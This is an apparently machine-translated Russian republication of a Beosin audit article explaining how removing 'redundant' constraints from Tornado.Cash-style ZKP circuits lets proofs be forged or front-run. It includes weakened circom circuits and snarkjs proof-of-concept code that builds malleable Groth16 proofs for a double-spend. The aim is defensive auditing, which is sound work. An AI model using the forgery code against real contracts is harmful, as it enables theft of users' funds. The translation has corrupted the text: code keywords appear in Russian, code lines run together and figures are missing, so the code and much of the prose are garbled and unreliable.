Обязательно к прочтению участникам проекта ZKP: Аудит цепи. Действительно ли избыточные ограничения избыточны?

Автор этой статьи: эксперты Beosin по исследованию безопасности Сая и Брайс

1. Введение

Проект ZKP (доказательство с нулевым разглашением) в основном состоит из двух частей: схемы вне цепочки и контракты внутри цепочки.Часть схемы включает в себя абстракцию ограничений бизнес-логики и сложные базовые знания криптографии, поэтому эта часть сложна для стороны проекта. реализовать, а также Трудности при проверке персонала службы безопасности. ** Ниже приводится случай безопасности, который легко игнорируется участниками проекта - «избыточные ограничения». Цель состоит в том, чтобы напомнить участникам проекта и пользователям о необходимости обратить внимание на соответствующие риски безопасности. . **

2. Можно ли удалить избыточные ограничения

При аудите проектов ZKP вы обычно видите следующие странные ограничения, но многие участники проекта на самом деле не понимают их конкретного значения. вызывая проблемы с безопасностью:

Мы сравнили количество ограничений, сгенерированных до и после удаления приведенного выше кода, и обнаружили, что наличие или отсутствие вышеуказанных ограничений в реальном проекте мало влияет на общее количество ограничений проекта, поскольку они легко игнорируются участниками проекта. автоматическая оптимизация.

Фактическая цель приведенной выше схемы — просто добавить часть данных к доказательству. Если взять в качестве примера Tornado.Cash, дополнительные данные включают в себя: адрес получателя, адрес ретранслятора, плату за обработку и т. д., поскольку эти сигналы не влияют фактический расчет последующей схемы. , поэтому это может вызвать путаницу среди некоторых других участников проекта, что приведет к их удалению из схемы, что приведет к краже транзакций некоторых пользователей.

Ниже в качестве примера для представления этой атаки будет взят проект простой частной транзакции Tornado.Cash. Эта статья удаляет соответствующие сигналы и ограничения дополнительной информации в схеме и выглядит следующим образом:

включить "../../../../node_modules/circomlib/circuits/bitify.circom"; include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { обнулитель входного сигнала; секрет ввода сигнала; обязательство вывода сигнала; // вывод сигнала nullifierHash; компонент CommitmentHasher = Pedersen(496); // обнулитель компонентаHasher = Pedersen(248); компонент nullifierBits = Num2Bits(248); компонент secretBits = Num2Bits(248); nullifierBits.in <== обнулитель; secretBits.in <== секрет; for (i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; CommitmentHasher.in [i] <== nullifierBits.out [i] ; CommitmentHasher.in[i + 248] <== secretBits.out [i] ; } обязательство <== commitHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Проверяет, что обязательство, соответствующее заданному секрету и обнулителю, включено в дерево Меркла депозитного шаблона Withdraw(levels) { signal input root; // ввод сигнала nullifierHash; обязательство вывода сигнала; // получатель ввода сигнала; // не участвуем ни в каких вычислениях // реле ввода сигнала; // не участвуем в каких-либо вычислениях // плата за ввод сигнала; // не участвуем ни в каких вычислениях // возврат входного сигнала; // не участвуем ни в каких вычислениях обнулитель входного сигнала; секрет ввода сигнала; // элементы пути ввода сигнала [levels] ; //Индексы входного пути сигнала [levels] ; хэшер компонента = CommitmentHasher(); hasher.nullifier <== обнулитель; hasher.secret <== секрет; обязательство <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // дерево компонентов = MerkleTreeChecker(levels); // Tree.leaf <== hasher.commitment; // Tree.root <== корень; // for ( i = 0; i <levels; i++) { // Tree.pathElements [i] <== элементы пути [i] ; // индексы дерева.путь [i] <== Индексы пути [i] ; // } // Добавьте скрытые сигналы, чтобы убедиться, что вмешательство в имя получателя или комиссии приведет к аннулированию доказательства снарка // Скорее всего, это не требуется, но лучше перестраховаться, и для этого потребуется всего 2 ограничения // Квадраты используется, чтобы не дать оптимизатору удалить эти ограничения // сигнал получателяSquare; // сигналfeeSquare; // релейный сигналSquare; // сигнал возвратаSquare; // квадрат получателя <== получатель * получатель; // FeeSquare <== плата * плата; // RelayerSquare <== реле * релейер; // returnSquare <== возврат * возврат;}компонент main = Withdraw(20);

Чтобы облегчить понимание, в этой статье удалены части, связанные с проверкой дерева Меркла и nullifierHash в схеме, а также аннотирован адрес получателя платежа и другая информация. В ончейн-контракте, сгенерированном этой схемой, в этой статье для одновременной проверки используются два разных адреса.Обнаружено, что оба разных адреса могут пройти проверку:

Но когда к ограничениям схемы добавляется следующий код, можно обнаружить, что только адрес получателя, установленный в схеме, может пройти проверку:

получатель входного сигнала; // не участвуем ни в каких вычислениях входной ретранслятор сигналов; // не участвуем в каких-либо вычислениях, плата за ввод сигнала; // не участвуем ни в каких вычислениях. // не участвуем ни в каких вычислениях. ;refundSquare <== возврат * возврат;

Поэтому, когда Proof не привязан к получателю, можно обнаружить, что адрес получателя может быть изменен по желанию и доказательство zk может быть проверено.Тогда, когда пользователь захочет вывести деньги из пула проекта, его могут ограбить МЭВ. Ниже приведен пример опережающей атаки MEV на DApp для торговли конфиденциальностью:

3. Неправильный способ написания избыточных ограничений

Кроме того, есть две распространенные ошибки при записи в схему, которые могут привести к более серьезным атакам двойного расходования: одна заключается в том, что входной сигнал установлен в схеме, но сигнал не ограничен, а вторая заключается в том, что один Из множества ограничений на сигнал существует линейная зависимость между ними. На рисунке ниже показаны общие процессы расчета Prove и Verify алгоритма Groth16:

Доказательство генерирует доказательство. Доказательство π = ( [A] 1, [C] 1, [B] 2):

После того, как Верификатор получает доказательство π[A, B, C], он вычисляет следующее уравнение проверки: если оно установлено, проверка проходит, в противном случае проверка терпит неудачу:

3.1 Сигнал не участвует в ограничениях

Если определенный общедоступный сигнал Zi не имеет каких-либо ограничений в схеме, то для его ограничения j значение следующей формулы всегда равно 0 (где rj — случайное значение вызова, которое Верификатору необходимо вычислить Пруверу):

Qh5M1gWNsintP7DUl6P0cDEHIdcnSchiB4YM50XY.png

В то же время это означает, что для Zi любой x имеет следующую формулу:

Следовательно, для сигнала x имеет следующее выражение в уравнении проверки:

Поскольку уравнение проверки выглядит следующим образом:

Можно обнаружить, что независимо от того, какое значение принимает Zi, результат этого расчета всегда равен 0.

В этой статье схема Tornado.Cash модифицируется следующим образом. Вы можете видеть, что схема имеет 1 общедоступный получатель входного сигнала и 3 частных сигнала: корень, обнулитель и секретный сигнал. Получатель не имеет никаких ограничений в схеме:

шаблон Withdraw(levels) { корень входного сигнала; обязательство вывода сигнала; получатель входного сигнала; // не участвуем ни в каких вычислениях обнулитель входного сигнала; секрет ввода сигнала; хэшер компонента = CommitmentHasher(); hasher.nullifier <== обнулитель; hasher.secret <== секрет; обязательство <== hasher.commitment;}компонент main {public [recipient] }= Вывод(20);

Эта статья будет протестирована на последней версии библиотеки snarkjs 0.7.0, и ее неявный код ограничения будет удален, чтобы продемонстрировать эффект атаки двойного расходования, когда в схеме нет сигнала ограничения.Код основного опыта выглядит следующим образом:

асинхронная функция Groth16_exp() { let inputA = "7"; пусть inputB = "11"; пусть inputC = "9"; пусть inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; await newZKey(draw2.r1cs, powerOfTau28_hez_final_14.ptau,draw2_0000.zkey, ) await beacon(draw2_0000.zkey,draw2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f10111213141 5161718191a1b1c1d1e1f", 10, ) const VerificationKey = ожидание экспортаVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") let {proof, publicSignals} = await groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, получатель: inputD }, "withdraw2 .wasm", "withdraw2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(proof), "utf-8" ") проверить (publicSignals, доказательство); publicSignals [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") проверить(publicSignals,proof);}

Вы можете видеть, что оба сгенерированных доказательства прошли проверку:

3.2 Ограничения линейной зависимости

gYomF7W3WdcnrQ3TiikO2QxX1fQgZ1mjl9o9erzo.png

шаблон Withdraw(levels) { корень входного сигнала; // ввод сигнала nullifierHash; обязательство вывода сигнала; получатель входного сигнала; // не участвующий в каких-либо вычислениях входной ретранслятор сигналов; // не участвуем в каких-либо вычислениях, плата за ввод сигнала; // не участвуем ни в каких вычислениях // возврат входного сигнала; // не участвуем ни в каких вычислениях обнулитель входного сигнала; секрет ввода сигнала; // элементы пути ввода сигнала [levels] ; //Индексы входного пути сигнала [levels] ; хэшер компонента = CommitmentHasher(); hasher.nullifier <== обнулитель; hasher.secret <== секрет; обязательство <== hasher.commitment; входной сигнал Квадрат; // квадрат получателя <== получатель * получатель; // FeeSquare <== плата * плата; // RelayerSquare <== ретранслятор * релейер; // returnSquare <== возврат * возврат; 35 * Square === (2получатель + 2ретранслятор + комиссия + 2) * (реле + 4);}comComponent main {public [recipient,Square]}= Withdraw(20);

Приведенная выше схема может привести к атаке двойных расходов.Конкретный код ядра опыта выглядит следующим образом:

const buildMalleabeC = async (orignal_proof_c, publicinput_index, orginal_pub_input, new_public_input, l) => { const c = unstringifyBigInts(orignal_proof_c) const { fd: fdZKey,sections:sectionZKey } = await readBinFile("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = await readSection(fdZKey,sectionsZKey, 8) fdZKey.close() const Curve = await buildBn128(); const Fr = кривая.Fr; const G1 = кривая.G1; const new_pi = новый Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const match_pub = новый Uint8Array (Fr.n8); Scalar.toRprLE(matching_pub, 0, original_pub_input, Fr.n8); const sGIn = кривая.G1.F.n8 * 2 const match_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( линейный_фактор, Fr.sub(matching_pub, new_pi)); const p = ожидание Curve.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const malleable_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}

После изменения части кода библиотеки мы протестировали ее на snarkjs версии 0.7.0. Результаты показали, что оба следующих поддельных доказательства могут пройти проверку:

  • публикация1 + доказательство1

  • публикация2 + доказательство2

4 исправления

Код библиотеки 4.1 zk

В настоящее время некоторые популярные библиотеки zk, такие как библиотека snarkjs, неявно добавляют в схему некоторые ограничения, например простейшее ограничение:

Приведенная выше формула математически всегда верна, поэтому независимо от фактического значения сигнала и соответствия каким-либо ограничениям, она может быть неявно и равномерно добавлена в схему с помощью библиотечного кода во время настройки.Кроме того, квадратные ограничения в первом разделе равны используется в схеме.Это более безопасный подход. Например, snarkjs неявно добавляет следующие ограничения при создании zkey во время установки:

4.2 Схема

Когда участник проекта проектирует схему, поскольку используемая сторонняя библиотека zk может не добавлять дополнительные ограничения во время настройки или компиляции**, мы рекомендуем участнику проекта постараться обеспечить целостность ограничений на уровне проектирования схемы и строго контролировать ограничения в схеме.Все сигналы юридически ограничены для обеспечения безопасности, например, квадратное ограничение, показанное ранее. **

Посмотреть Оригинал
На этой странице может содержаться сторонний контент, который предоставляется исключительно в информационных целях (не в качестве заявлений/гарантий) и не должен рассматриваться как поддержка взглядов компании Gate или как финансовый или профессиональный совет. Подробности смотрите в разделе «Отказ от ответственности» .
  • Награда
  • комментарий
  • Поделиться
комментарий
0/400
Нет комментариев
  • Закрепить